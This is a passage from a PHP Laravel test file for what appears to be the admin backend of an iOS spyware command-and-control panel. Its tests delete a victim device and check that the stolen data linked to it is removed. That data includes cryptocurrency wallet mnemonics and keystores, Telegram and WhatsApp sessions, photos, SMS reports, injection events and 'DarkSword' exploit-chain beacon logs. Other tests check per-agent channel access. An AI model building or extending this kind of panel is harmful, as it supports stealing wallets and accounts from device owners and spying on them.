create(['username' => 'admin', 'password' => 'admin123']); $device = Device::query()->create(['device_id' => 'dev-del-1', 'channel_id' => '86C1AAD5']); $photoPath = 'c2/photos/dev-del-1/hit.jpg'; $checkPath = 'c2/check/dev-del-1/pack/file.bin'; Storage::disk('local')->put($photoPath, "\xFF\xD8\xFF\xD9"); Storage::disk('local')->put($checkPath, 'x'); Photo::query()->create([ 'device_id' => $device->id, 'sha256' => hash('sha256', 'x'), 'path' => $photoPath, 'size' => 4, ]); DeviceApp::query()->create([ 'device_id' => $device->id, 'bundle_id' => 'im.token.app', 'name' => 'imToken', ]); DeviceEvent::query()->create([ 'device_id' => $device->id, 'device_key' => 'dev-del-1', 'event_name' => 'injection_success', ]); Note::query()->create([ 'device_id' => $device->id, 'content' => ['text' => 'hello'], ]); WalletAddress::query()->create([ 'device_id' => $device->id, 'address' => 'Txxx', 'source' => 'imToken', 'chain_type' => 'TRX', 'monitor' => 1, ]); WalletMnemonic::query()->create([ 'device_id' => $device->id, 'source' => 'imToken', 'mnemonic_hash' => hash('sha256', 'abandon'), 'mnemonic_enc' => 'enc', ]); WalletKeystore::query()->create([ 'device_id' => $device->id, 'raw_json' => ['k' => 1], ]); PluginSession::query()->create([ 'device_id' => $device->id, 'device_key' => 'dev-del-1', 'kind' => PluginSession::KIND_TELEGRAM, 'account_id' => '123', 'payload' => ['user_id' => '123'], ]); SmsReport::query()->create([ 'device_id' => $device->id, 'device_key' => 'dev-del-1', 'task_id' => 't1', 'dest_phone' => '+100', 'payload' => ['task_id' => 't1'], ]); DsBeaconTask::query()->create([ 'device_id' => $device->id, 'position' => 1, 'type' => 'basic_info', 'status' => DsBeaconTask::STATUS_PENDING, ]); DsChainLog::query()->create([ 'client_uid' => 'dev-del-1', 'stage' => 'pe', 'progress' => 86, 'label' => 'pe', 'created_at' => now(), ]); DsChainLog::query()->create([ 'client_uid' => 'keep-other-uid', 'stage' => 'boot', 'progress' => 8, 'label' => 'boot', 'created_at' => now(), ]); PageVisit::query()->create([ 'channel_id' => '86C1AAD5', 'client_uid' => 'dev-del-1', 'chain' => PageVisit::CHAIN_DARKSWORD, 'os' => 'iOS', 'created_at' => now(), ]); PageVisit::query()->create([ 'channel_id' => '86C1AAD5', 'client_uid' => 'keep-other-uid', 'chain' => PageVisit::CHAIN_DARKSWORD, 'os' => 'iOS', 'created_at' => now(), ]); $dsLog = public_path('log/ds/20990101.log'); @mkdir(dirname($dsLog), 0775, true); file_put_contents($dsLog, "2026-08-24 03:00:00 /beacon {\"uuid\":\"dev-del-1\",\"keep\":false}\r\n\r\n". "2026-08-24 03:00:01 /beacon {\"uuid\":\"keep-other-uid\",\"keep\":true}\r\n\r\n" ); Storage::disk('local')->put('c2/ds-results/dev-del-1/cmd/a.json', '{}'); Storage::disk('local')->put('c2/ds-chunks/dev-del-1/cmd/f/0', 'x'); $waPath = PluginSession::whatsappFilePath('dev-del-1', '15550001111'); Storage::disk('local')->put($waPath, '{"userId":"15550001111"}'); try { $tokenview = Mockery::mock(TokenviewMonitorService::class); $tokenview->shouldReceive('syncMonitor')->never(); $this->app->instance(TokenviewMonitorService::class, $tokenview); $this->actingAs($admin, 'admin') ->deleteJson(route('admin.devices.destroy', $device)) ->assertOk() ->assertJsonPath('code', 0); $this->assertNull(Device::query()->find($device->id)); $this->assertSame(0, Photo::query()->count()); $this->assertSame(0, DeviceApp::query()->count()); $this->assertSame(0, DeviceEvent::query()->count()); $this->assertSame(0, Note::query()->count()); $this->assertSame(0, WalletAddress::query()->count()); $this->assertSame(0, WalletMnemonic::query()->count()); $this->assertSame(0, WalletKeystore::query()->count()); $this->assertSame(0, PluginSession::query()->count()); $this->assertSame(0, SmsReport::query()->count()); $this->assertSame(0, DsBeaconTask::query()->count()); $this->assertSame(0, DsChainLog::query()->where('client_uid', 'dev-del-1')->count()); $this->assertSame(1, DsChainLog::query()->where('client_uid', 'keep-other-uid')->count()); $this->assertSame(0, PageVisit::query()->where('client_uid', 'dev-del-1')->count()); $this->assertSame(1, PageVisit::query()->where('client_uid', 'keep-other-uid')->count()); Storage::disk('local')->assertMissing($photoPath); Storage::disk('local')->assertMissing($checkPath); Storage::disk('local')->assertMissing('c2/ds-results/dev-del-1/cmd/a.json'); Storage::disk('local')->assertMissing('c2/ds-chunks/dev-del-1/cmd/f/0'); Storage::disk('local')->assertMissing($waPath); $this->assertFileExists($dsLog); $left = (string) file_get_contents($dsLog); $this->assertStringNotContainsString('dev-del-1', $left); $this->assertStringContainsString('keep-other-uid', $left); } finally { @unlink($dsLog); } } #[Test] public function agent_cannot_delete_other_channel_device(): void { $agent = User::query()->create([ 'username' => 'agent_del', 'password' => 'secret12', 'status' => 1, ]); Channel::query()->create([ 'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'user_id' => $agent->id, 'status' => 1, ]); $other = Device::query()->create([ 'device_id' => 'dev-other-del', 'channel_id' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', ]); $this->actingAs($agent, 'agent') ->deleteJson(route('user.devices.destroy', $other)) ->assertForbidden(); $this->assertNotNull(Device::query()->find($other->id)); } }